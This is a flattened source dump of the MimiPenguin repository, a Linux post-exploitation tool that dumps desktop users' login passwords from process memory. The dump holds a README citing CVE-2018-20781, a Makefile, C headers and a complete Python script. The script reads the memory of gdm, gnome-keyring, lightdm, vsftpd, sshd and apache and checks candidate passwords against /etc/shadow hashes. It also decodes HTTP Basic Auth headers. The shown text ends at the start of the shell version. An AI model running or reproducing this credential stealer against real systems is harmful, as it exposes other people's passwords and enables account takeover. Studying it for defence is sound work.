├── .github └── ISSUE_TEMPLATE.md ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── include ├── dbg.h ├── max.h ├── scanner.h ├── targets.h └── users.h ├── mimipenguin.py ├── mimipenguin.sh └── src ├── mimipenguin.c ├── scanner.c ├── targets.c └── users.c /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ## Bug report 2 | 3 | Write a description 4 | 5 | #### Information 6 | Target OS info 7 | - run `cat /etc/issue` 8 | - run `ps aux | grep -e "gnome-keyring" -e gdm` 9 | 10 | ### Current behavior 11 | Write the current behavior and/or screenshot 12 | 13 | ### Expected behavior 14 | Write the expected behavior and/or screenshot 15 | 16 | ## Feature request 17 | Write a description 18 | #### Information 19 | Target OS info 20 | - run `cat /etc/issue` 21 | 22 | ### Expected behavior 23 | Write the expected behavior and/or screenshot 24 | 25 | ### Reproduce Steps 26 | if you know how to do it, please explain the steps. This would help use to speed up adding this feature 27 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | mimipenguin 2 | mimipenguin_x32 3 | *.swp 4 | *.o 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Attribution 4.0 International Public License 2 | https://creativecommons.org/licenses/by/4.0/ 3 | 4 | By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. 5 | 6 | Section 1 – Definitions. 7 | 8 | Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. 9 | Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. 10 | Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. 11 | Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. 12 | Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. 13 | Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License. 14 | Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. 15 | Licensor means the individual(s) or entity(ies) granting rights under this Public License. 16 | Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. 17 | Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world. 18 | You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. 19 | Section 2 – Scope. 20 | 21 | License grant. 22 | Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: 23 | reproduce and Share the Licensed Material, in whole or in part; and 24 | produce, reproduce, and Share Adapted Material. 25 | Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. 26 | Term. The term of this Public License is specified in Section 6(a). 27 | Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material. 28 | Downstream recipients. 29 | Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. 30 | No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. 31 | No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). 32 | Other rights. 33 | 34 | Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. 35 | Patent and trademark rights are not licensed under this Public License. 36 | To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties. 37 | Section 3 – License Conditions. 38 | 39 | Your exercise of the Licensed Rights is expressly made subject to the following conditions. 40 | 41 | Attribution. 42 | 43 | If You Share the Licensed Material (including in modified form), You must: 44 | 45 | retain the following if it is supplied by the Licensor with the Licensed Material: 46 | identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); 47 | a copyright notice; 48 | a notice that refers to this Public License; 49 | a notice that refers to the disclaimer of warranties; 50 | a URI or hyperlink to the Licensed Material to the extent reasonably practicable; 51 | indicate if You modified the Licensed Material and retain an indication of any previous modifications; and 52 | indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. 53 | You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. 54 | If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. 55 | If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License. 56 | Section 4 – Sui Generis Database Rights. 57 | 58 | Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: 59 | 60 | for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database; 61 | if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and 62 | You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. 63 | For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. 64 | Section 5 – Disclaimer of Warranties and Limitation of Liability. 65 | 66 | Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You. 67 | To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You. 68 | The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. 69 | Section 6 – Term and Termination. 70 | 71 | This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. 72 | Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: 73 | 74 | automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or 75 | upon express reinstatement by the Licensor. 76 | For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. 77 | For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. 78 | Sections 1, 5, 6, 7, and 8 survive termination of this Public License. 79 | Section 7 – Other Terms and Conditions. 80 | 81 | The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. 82 | Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. 83 | Section 8 – Interpretation. 84 | 85 | For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. 86 | To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. 87 | No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. 88 | Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. 89 | Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” The text of the Creative Commons public licenses is dedicated to the public domain under the CC0 Public Domain Dedication. Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. 90 | 91 | Creative Commons may be contacted at creativecommons.org. 92 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | STRIP=strip --strip-unneeded 3 | CFLAGS=-Iinclude/ -D_FILE_OFFSET_BITS=64 -O3 -Wno-unused-result 4 | LDFLAGS=-lcrypt 5 | 6 | all: 7 | @$(CC) $(CFLAGS) src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin $(LDFLAGS) 8 | @$(CC) $(CFLAGS) -m32 src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32 $(LDFLAGS) 9 | @$(STRIP) mimipenguin 10 | @$(STRIP) mimipenguin_x32 11 | 12 | static: 13 | @$(CC) $(CFLAGS) -static src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin $(LDFLAGS) 14 | @$(CC) $(CFLAGS) -m32 -static src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32 $(LDFLAGS) 15 | @$(STRIP) mimipenguin 16 | @$(STRIP) mimipenguin_x32 17 | debug: 18 | @$(CC) $(CFLAGS) -DDEBUG src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin $(LDFLAGS) 19 | @$(CC) $(CFLAGS) -m32 -DDEBUG src/scanner.c src/users.c src/targets.c src/mimipenguin.c -o mimipenguin_x32 $(LDFLAGS) 20 | 21 | clean: 22 | @rm mimipenguin 23 | @rm mimipenguin_x32 24 | 25 | .PHONY: all 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MimiPenguin 2.0 2 | A tool to dump the login password from the current linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz. This was assigned *CVE-2018-20781* (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781). Fun fact it's still not fixed after GNOME Keyring 3.27.2 and still works as of `3.28.0.2-1ubuntu1.18.04.1`. 3 | 4 | ![alt text](http://i.imgur.com/BkDX9dF.png "MimiPenguin") 5 | 6 | ## Details 7 | Takes advantage of cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. Will attempt to calculate each word's probability by checking hashes in /etc/shadow, hashes in memory, and regex searches. 2.0 introduces a clean C port that aims to increase the speed of execution and portability 8 | 9 | ## Known Issues 10 | * The 32bit variant of mimipenguin (C build) may fail in a 64bit userspace as it currently does not adequatley handle searching a 64bit address space 11 | 12 | ## Requires 13 | * root permissions 14 | 15 | ## Supported/Tested Systems 16 | * Kali 4.3.0 (rolling) x64 (gdm3) 17 | * Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) 18 | * Ubuntu Desktop 14.04.1 LTS x64 (Gnome Keyring 3.10.1-1ubuntu4.3, LightDM 1.10.6-0ubuntu1) 19 | * Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) 20 | * Ubuntu Desktop 16.04.4 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2, LightDM 1.18.3-0ubuntu1.1) 21 | * Ubuntu 18 22 | * XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2) 23 | * Archlinux x64 Gnome 3 (Gnome Keyring 3.20) 24 | * OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20) 25 | * VSFTPd 3.0.3-8+b1 (Active FTP client connections) 26 | * Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency] 27 | * openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage) 28 | 29 | ## Building 30 | * To Build the C variant release simply run `make` in the root directory of the project 31 | * To build a debug binary with debug prints run `make debug` 32 | * To build a static linked binaries run `make static` 33 | 34 | ## Notes 35 | * Password moves in memory - still honing in on 100% effectiveness 36 | * Plan on expanding support and other credential locations 37 | * Working on expanding to non-desktop environments 38 | * Known bug - sometimes gcore hangs the script, this is a problem with gcore 39 | * Open to pull requests and community research 40 | * LDAP research (nscld winbind etc) planned for future 41 | 42 | ## Development Roadmap 43 | * Implement needles in C port (speed up) 44 | * Add optional arg to target specific users only (speed up) 45 | 46 | MimiPenguin is slowly being ported to multiple languages to support all possible post-exploit scenarios. The roadmap below was suggested by KINGSABRI to track the various versions and features. An "X" denotes full support while a "~" denotes a feature with known bugs. 47 | 48 | | Feature | .sh | .py | 49 | |---------------------------------------------------|-----|-----| 50 | | GDM password (Kali Desktop, Debian Desktop) | ~ | X | 51 | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | ~ | X | 52 | | LightDM (Ubuntu Desktop) | X | X | 53 | | VSFTPd (Active FTP Connections) | X | X | 54 | | Apache2 (Active HTTP Basic Auth Sessions) | ~ | ~ | 55 | | OpenSSH (Active SSH Sessions - Sudo Usage) | ~ | ~ | 56 | 57 | ## Contact 58 | * Twitter: [@huntergregal](https://twitter.com/HunterGregal) 59 | * Website: [huntergregal.com](http://huntergregal.com) 60 | * Github: [huntergregal](https://github.com/huntergregal) 61 | 62 | ## Licence 63 | CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/ 64 | 65 | ## Special Thanks 66 | * the-useless-one for remove Gcore as a dependency, cleaning up tabs, adding output option, and a full python3 port 67 | * gentilkiwi for Mimikatz, the inspiration and the twitter shoutout 68 | * pugilist for cleaning up PID extraction and testing 69 | * ianmiell for cleaning up some of my messy code 70 | * w0rm for identifying printf error when special chars are involved 71 | * benichmt1 for identifying multiple authenticate users issue 72 | * ChaitanyaHaritash for identifying special char edge case issues 73 | * ImAWizardLizard for cleaning up the pattern matches with a for loop 74 | * coreb1t for python3 checks, arch support, other fixes 75 | * n1nj4sec for a python2 port and support 76 | * KINGSABRI for the Roadmap proposal 77 | * bourgouinadrien for linking https://github.com/koalaman/shellcheck 78 | * bcoles for adding more needles 79 | * space-r7 and bcoles for work on the [Metasploit MimiPenguin module](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/linux/gather/mimipenguin.md) port 80 | -------------------------------------------------------------------------------- /include/dbg.h: -------------------------------------------------------------------------------- 1 | #ifndef DBG_H 2 | #define DBG_H 3 | 4 | #include 5 | #include 6 | #include 7 | #define RESET "\033[0m" 8 | //#define RED "\033[31m" 9 | //#define BOLDBLACK "\033[1m\033[30m" /* Bold Black */ 10 | #define BOLDRED "\033[1m\033[31m" /* Bold Red */ 11 | //#define BOLDGREEN "\033[1m\033[32m" /* Bold Green */ 12 | #define BOLDYELLOW "\033[1m\033[33m" /* Bold Yellow */ 13 | #define BOLDBLUE "\033[1m\033[34m" /* Bold Blue */ 14 | //#define BOLDMAGENTA "\033[1m\033[35m" /* Bold Magenta */ 15 | //#define BOLDCYAN "\033[1m\033[36m" /* Bold Cyan */ 16 | #define BOLDWHITE "\033[1m\033[37m" /* Bold White */ 17 | 18 | #define clean_errno() (errno == 0 ? "None": strerror(errno)) 19 | 20 | 21 | #ifdef DEBUG 22 | #define debug(M, ...) fprintf(stderr,"[" BOLDBLUE "DEBUG" RESET "]" "%s:%d:" M "\n", __FILE__, __LINE__, ##__VA_ARGS__) 23 | #define log_error(M, ...) fprintf(stderr, "[" BOLDRED "ERROR" RESET "]" "(%s:%d: errno: %s) " M "\n", __FILE__, __LINE__, clean_errno(), ##__VA_ARGS__) 24 | #define log_warn(M, ...) fprintf(stderr, "[" BOLDYELLOW "WARN" RESET "]" "(%s:%d: errno:%s) " M "\n", __FILE__, __LINE__, clean_errno(), ##__VA_ARGS__) 25 | #define log_info(M, ...) fprintf(stderr, "[" BOLDWHITE "INFO" RESET "]" "(%s:%d) " M "\n", __FILE__, __LINE__, ##__VA_ARGS__) 26 | 27 | #else 28 | #define debug(M, ...) 29 | #define log_error(M, ...) 30 | #define log_warn(M, ...) 31 | #define log_info(M, ...) 32 | #endif 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /include/max.h: -------------------------------------------------------------------------------- 1 | #ifndef MAX_H 2 | #define MAX_H 3 | 4 | 5 | #define MAX_PATH (256) 6 | 7 | 8 | #define MAX_PIDS (24) 9 | #define MAX_SHRT_NAME (32) 10 | #define MAX_TARGETS (4) 11 | #define MAX_NEEDLES (4) 12 | 13 | #define ATTS_SZ (5) 14 | #define MAX_MAP_LINE (336) 15 | #define MAX_CMDLINE MAX_PATH 16 | #define MAX_CMDLINE_F MAX_MAP_LINE 17 | 18 | #define MIN_STR MAX_TARGETS 19 | #define MAX_STR MAX_PATH // 256 for now 20 | 21 | #define MAX_USER_LINE MAX_MAP_LINE 22 | #endif 23 | -------------------------------------------------------------------------------- /include/scanner.h: -------------------------------------------------------------------------------- 1 | #ifndef SCANNER_H 2 | #define SCANNER_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include "targets.h" 9 | #include "max.h" 10 | 11 | /* Public processing function. Used to process the memory for all targets and pids */ 12 | // -1 error, 0 good 13 | int processTargets(Target targets[MAX_TARGETS]); 14 | 15 | /* Identifies readable regions of memory for the target pid */ 16 | // -1 error, 0 good 17 | int processMemory(Target target, pid_t pid); 18 | 19 | // Get a str (like strings command) from fp of min size min_str, and max size max_str. store result in 20 | // **str ptr. cur is a marker for bytes read, max_cur is max amount of bytes to read 21 | // returns -1 or size of string 22 | int getStr(FILE *fp, char *str, size_t min_str, size_t max_str, size_t *cur, size_t max_cur); 23 | 24 | /* Process a memory region potential passwords */ 25 | // -1 error, 0 good 26 | int processRegion(FILE *fp, unsigned long start, unsigned long end); 27 | 28 | #endif /* SCANNER_H */ 29 | -------------------------------------------------------------------------------- /include/targets.h: -------------------------------------------------------------------------------- 1 | #ifndef TARGETS_H 2 | #define TARGETS_H 3 | 4 | #include 5 | #include 6 | 7 | #include "max.h" 8 | 9 | /* Pids struct to handle lists of Pids*/ 10 | typedef struct { 11 | pid_t array[MAX_PIDS]; 12 | size_t size; 13 | } Pids; 14 | 15 | /* Needles struct to handle list of needles*/ 16 | typedef struct { 17 | char *needles[MAX_NEEDLES]; //regex patterns 18 | size_t size; 19 | } Needles; 20 | 21 | /* Target processes struct */ 22 | typedef struct { 23 | char name[MAX_SHRT_NAME]; //Process name 24 | char source[MAX_SHRT_NAME]; // my name for proc 25 | Pids pids; //All Pids associated with process/service 26 | Needles needles; //regex patterns 27 | } Target; 28 | 29 | /* Init the known targets with their needles and names */ 30 | void initTargets(Target targets[MAX_TARGETS]); 31 | 32 | /* Filter to identify /proc/ subdirs as PIDs */ 33 | static int filter(const struct dirent *dir); 34 | 35 | /* Get all pids associated with Targets and populate the struts */ 36 | void getTargetPids(Target targets[MAX_TARGETS]); 37 | 38 | #ifdef DEBUG 39 | void dumpTargets(Target *targets); 40 | #endif 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /include/users.h: -------------------------------------------------------------------------------- 1 | #ifndef USERS_H 2 | #define USERS_H 3 | 4 | #include 5 | 6 | struct User { 7 | char *uname; 8 | size_t uname_len; 9 | char *id_salt; 10 | size_t id_salt_len; 11 | char *hash; 12 | size_t hash_len; 13 | }; 14 | 15 | typedef struct User user_t; 16 | 17 | // Populates an array of User structs with local 18 | // users and their hashes/salts. Only targets 19 | // users with a valid hash 20 | // -1 = error, 21 | // 0 = no valid users (prob an error) 22 | // number of valid users = success 23 | int GetUsers(user_t **users); 24 | 25 | // Frees list of users 26 | void PutUsers(user_t **users, int nusers); 27 | 28 | // Check for a match of hashed version of str against user hashes 29 | // If match return user index 30 | // else 0 for no match 31 | int CheckForUserHash(user_t *users, int nusers, char *str); 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /mimipenguin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- encoding: utf8 -*- 3 | # Rewrite of mimipenguin in Python 3. 4 | # Original idea from Hunter Gregal (@huntergregal). 5 | # Implementation by Yannick Méheut (github.com/the-useless-one) 6 | # Copyright © 2017, Yannick Méheut 7 | 8 | # This program is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # This program is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | 18 | # You should have received a copy of the GNU General Public License 19 | # along with this program. If not, see . 20 | 21 | from __future__ import print_function 22 | 23 | import os 24 | import platform 25 | import re 26 | import base64 27 | import binascii 28 | import crypt 29 | import string 30 | 31 | 32 | def running_as_root(): 33 | return os.geteuid() == 0 34 | 35 | 36 | def get_linux_distribution(): 37 | try: 38 | return platform.dist()[0].lower() 39 | except IndexError: 40 | return str() 41 | 42 | 43 | def compute_hash(ctype, salt, password): 44 | return crypt.crypt(password, '{}{}'.format(ctype, salt)) 45 | 46 | 47 | def strings(s, min_length=4): 48 | strings_result = list() 49 | result = str() 50 | 51 | for c in s: 52 | try: 53 | c = chr(c) 54 | except TypeError: 55 | # In Python 2, c is already a chr 56 | pass 57 | if c in string.printable: 58 | result += c 59 | else: 60 | if len(result) >= min_length: 61 | strings_result.append(result) 62 | result = str() 63 | 64 | return strings_result 65 | 66 | 67 | def dump_process(pid): 68 | dump_result = bytes() 69 | 70 | with open('/proc/{}/maps'.format(pid), 'r') as maps_file: 71 | for l in maps_file.readlines(): 72 | memrange, attributes = l.split(' ')[:2] 73 | if attributes.startswith('r'): 74 | memrange_start, memrange_stop = [ 75 | int(x, 16) for x in memrange.split('-')] 76 | memrange_size = memrange_stop - memrange_start 77 | with open('/proc/{}/mem'.format(pid), 'rb') as mem_file: 78 | try: 79 | mem_file.seek(memrange_start) 80 | dump_result += mem_file.read(memrange_size) 81 | except (OSError, ValueError, IOError, OverflowError): 82 | pass 83 | 84 | return dump_result 85 | 86 | 87 | def find_pid(process_name): 88 | pids = list() 89 | 90 | for pid in os.listdir('/proc'): 91 | try: 92 | with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file: 93 | if process_name in cmdline_file.read().decode(): 94 | pids.append(pid) 95 | except IOError: 96 | continue 97 | 98 | return pids 99 | 100 | 101 | class PasswordFinder: 102 | _hash_re = r'^\$.\$.+$' 103 | 104 | def __init__(self): 105 | self._potential_passwords = list() 106 | self._strings_dump = list() 107 | self._found_hashes = list() 108 | 109 | def _dump_target_processes(self): 110 | target_pids = list() 111 | for target_process in self._target_processes: 112 | target_pids += find_pid(target_process) 113 | for target_pid in target_pids: 114 | self._strings_dump += strings(dump_process(target_pid)) 115 | 116 | def _find_hash(self): 117 | for s in self._strings_dump: 118 | if re.match(PasswordFinder._hash_re, s): 119 | self._found_hashes.append(s) 120 | 121 | def _find_potential_passwords(self): 122 | for needle in self._needles: 123 | needle_indexes = [i for i, s in enumerate(self._strings_dump) 124 | if re.search(needle, s)] 125 | for needle_index in needle_indexes: 126 | self._potential_passwords += self._strings_dump[ 127 | needle_index - 10:needle_index + 10] 128 | self._potential_passwords = list(set(self._potential_passwords)) 129 | 130 | def _try_potential_passwords(self): 131 | valid_passwords = list() 132 | found_hashes = list() 133 | pw_hash_to_user = dict() 134 | 135 | if self._found_hashes: 136 | found_hashes = self._found_hashes 137 | with open('/etc/shadow', 'r') as f: 138 | for l in f.readlines(): 139 | user, pw_hash = l.split(':')[:2] 140 | if not re.match(PasswordFinder._hash_re, pw_hash): 141 | continue 142 | found_hashes.append(pw_hash) 143 | pw_hash_to_user[pw_hash] = user 144 | 145 | found_hashes = list(set(found_hashes)) 146 | 147 | for found_hash in found_hashes: 148 | ctype = found_hash[:3] 149 | salt = found_hash.split('$')[2] 150 | for potential_password in self._potential_passwords: 151 | potential_hash = compute_hash(ctype, salt, potential_password) 152 | if potential_hash == found_hash: 153 | try: 154 | valid_passwords.append( 155 | (pw_hash_to_user[found_hash], potential_password)) 156 | except KeyError: 157 | valid_passwords.append( 158 | ('', potential_password)) 159 | 160 | return valid_passwords 161 | 162 | def dump_passwords(self): 163 | self._dump_target_processes() 164 | self._find_hash() 165 | self._find_potential_passwords() 166 | 167 | return self._try_potential_passwords() 168 | 169 | 170 | class GdmPasswordFinder(PasswordFinder): 171 | def __init__(self): 172 | PasswordFinder.__init__(self) 173 | self._source_name = '[SYSTEM - GNOME]' 174 | self._target_processes = ['gdm-password'] 175 | self._needles = ['^_pammodutil_getpwnam_root_1$', 176 | '^gkr_system_authtok$'] 177 | 178 | 179 | class GnomeKeyringPasswordFinder(PasswordFinder): 180 | def __init__(self): 181 | PasswordFinder.__init__(self) 182 | self._source_name = '[SYSTEM - GNOME]' 183 | self._target_processes = ['gnome-keyring-daemon'] 184 | self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$', r'linux-vdso\.so\.1$'] 185 | 186 | class LightDmPasswordFinder(PasswordFinder): 187 | def __init__(self): 188 | PasswordFinder.__init__(self) 189 | self._source_name = '[SYSTEM - LIGHTDM]' 190 | self._target_processes = ['lightdm'] 191 | self._needles = [r'^_pammodutil_getspnam_'] 192 | 193 | class VsftpdPasswordFinder(PasswordFinder): 194 | def __init__(self): 195 | PasswordFinder.__init__(self) 196 | self._source_name = '[SYSTEM - VSFTPD]' 197 | self._target_processes = ['vsftpd'] 198 | self._needles = [ 199 | r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$'] 200 | 201 | 202 | class SshdPasswordFinder(PasswordFinder): 203 | def __init__(self): 204 | PasswordFinder.__init__(self) 205 | self._source_name = '[SYSTEM - SSH]' 206 | self._target_processes = ['sshd:'] 207 | self._needles = [r'^sudo.+'] 208 | 209 | 210 | class ApachePasswordFinder(PasswordFinder): 211 | def __init__(self): 212 | PasswordFinder.__init__(self) 213 | self._source_name = '[HTTP BASIC - APACHE2]' 214 | self._target_processes = ['apache2'] 215 | self._needles = [r'^Authorization: Basic.+'] 216 | 217 | def _try_potential_passwords(self): 218 | valid_passwords = list() 219 | 220 | for potential_password in self._potential_passwords: 221 | try: 222 | potential_password = base64.b64decode(potential_password) 223 | except binascii.Error: 224 | continue 225 | else: 226 | try: 227 | user, password = potential_password.split(':', maxsplit=1) 228 | valid_passwords.append((user, password)) 229 | except IndexError: 230 | continue 231 | 232 | return valid_passwords 233 | 234 | def dump_passwords(self): 235 | self._dump_target_processes() 236 | self._find_potential_passwords() 237 | 238 | return self._try_potential_passwords() 239 | 240 | 241 | def main(): 242 | if not running_as_root(): 243 | raise RuntimeError('mimipenguin should be ran as root') 244 | 245 | password_finders = list() 246 | 247 | if find_pid('gdm-password'): 248 | password_finders.append(GdmPasswordFinder()) 249 | if find_pid('gnome-keyring-daemon'): 250 | password_finders.append(GnomeKeyringPasswordFinder()) 251 | if find_pid('lightdm'): 252 | password_finders.append(LightDmPasswordFinder()) 253 | if os.path.isfile('/etc/vsftpd.conf'): 254 | password_finders.append(VsftpdPasswordFinder()) 255 | if os.path.isfile('/etc/ssh/sshd_config'): 256 | password_finders.append(SshdPasswordFinder()) 257 | if os.path.isfile('/etc/apache2/apache2.conf'): 258 | password_finders.append(ApachePasswordFinder()) 259 | 260 | for password_finder in password_finders: 261 | for valid_passwords in password_finder.dump_passwords(): 262 | print('{}\t{}:{}'.format(password_finder._source_name, 263 | valid_passwords[0], valid_passwords[1])) 264 | 265 | 266 | if __name__ == '__main__': 267 | main() 268 | -------------------------------------------------------------------------------- /mimipenguin.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Author: Hunter Gregal 4 | # Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com 5 | # Dumps cleartext credentials from memory 